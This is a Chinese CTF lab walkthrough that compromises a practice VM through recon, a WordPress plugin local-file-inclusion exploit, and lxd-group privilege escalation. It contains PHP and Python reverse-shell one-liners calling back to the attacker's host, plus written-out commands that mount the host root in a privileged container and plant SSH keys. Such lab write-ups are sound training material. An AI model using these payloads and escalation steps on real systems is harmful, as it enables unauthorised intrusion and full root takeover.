前言
这个靶机有亿点难,收获很多。打靶的时候,前面很顺,到创建ssh公钥之后就一点不会了。
1
01
arp扫描,发现有一个130,再查看端口
有22,80,129,445,10123
dirb扫描目录
这里的something里面有一个jarves,应该是用户名称
继续找,发现upload里有cmd,应该是利用这里上传shell
02
/wp有一个wordpress,去搜索知道是一个平台,我们可以用wpscan去扫描wordpress,翻LFI是一个本地文件包含漏洞,不知道怎么利用,看wp要利用这里的https://www.exploit-db.com/exploits/46537/
打开后,找到这一行
发现用户jarves
/server里有一个zip,去搜索了知道,这是gila cms,没什么用处
初步信息收集完成
2
再进行上传shell操作,因为,上文提到的php文件,我这里用php提权
php -r '$sock=fsockopen("47.192.168.157.128",2333);exec("/bin/sh -i <&3 >&3 2>&3");'
我这里失败了,换python试试
192.168.157.130/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=.../.../.../.../.../.../.../.../.../.../home/jarves/upload/shell.php&cmd=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.157.128%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27
再升级shell
去home目录查看信息,有jarves
tmp里没有东西可以利用
查看/var,var目录的详细信息
查看/var/www
找到root的密码:root
我这里想去ssh连接,发现密码不对
3
剩下的步骤基本是看wp
要先用两个工具smbclient和enum4linux
再创建ssh公钥
将id_rsa.pub复制到tmp目录下命名位authorized_keys
将authorized_keys上传到目标主机的.ssh目录下
然后使用ssh登录到目标主机
4
发现jarves还属于lxd组
从github下载构建好的Alpine,然后进行执行
接着我们将生成的文件上传至目标机器
wget http://192.168.157.130:7777/lxd-alpine-builder/alpine-v3.14-x86_64-20240410_1650.tar.gz
接着我们使用lxd进行初始化
lxd init
导入镜像
lxc image import ./alpine-v3.14-x86_64-20240410_1650.tar.gz --alias myimage
进入到容器的命令行
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
替换mnt/root目录下的authorized_keys文件
最后使用ssh连接拿到root权限